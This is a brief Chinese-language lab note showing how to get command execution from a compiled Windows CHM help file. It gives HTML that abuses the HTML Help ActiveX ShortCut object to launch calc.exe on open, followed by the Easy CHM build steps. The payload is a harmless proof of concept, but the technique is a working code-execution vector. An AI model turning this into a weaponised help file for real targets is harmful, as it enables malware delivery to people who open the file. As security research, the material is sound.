CHM 命令执行

0x01 测试环境

1、win 10

2、Easy CHM，一个编译CHM文件的软件。

0x02 弹出计算器

测试代码：

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>

command exec

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',calc.exe'>

<PARAM name="Item2" value="273,1,1">

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

</body></html>

1、创建test.html 文件并将测试代码写入文件，保存

2、打开Easy CHM，新建项目，选择到test.html目录下。

新建项目

项目建立完毕

3、编译 -> 生成CHM -> 查看CHM

编译页面

真实效果